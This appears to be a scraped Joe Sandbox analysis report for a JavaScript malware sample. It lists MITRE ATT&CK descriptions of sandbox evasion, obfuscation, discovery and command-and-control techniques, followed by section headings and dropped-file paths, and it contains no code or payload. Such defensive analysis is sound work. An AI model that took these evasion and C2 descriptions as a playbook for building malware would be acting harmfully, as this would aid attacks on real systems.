Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3039412363370818030.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1033fdf6-ed06-4b16-a54b-0c04beedf38a.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6ad6e4.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c2b8e05c-419a-4bab-9aff-63d9de3fd49b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7256

Windows Analysis Report
3039412363370818030.js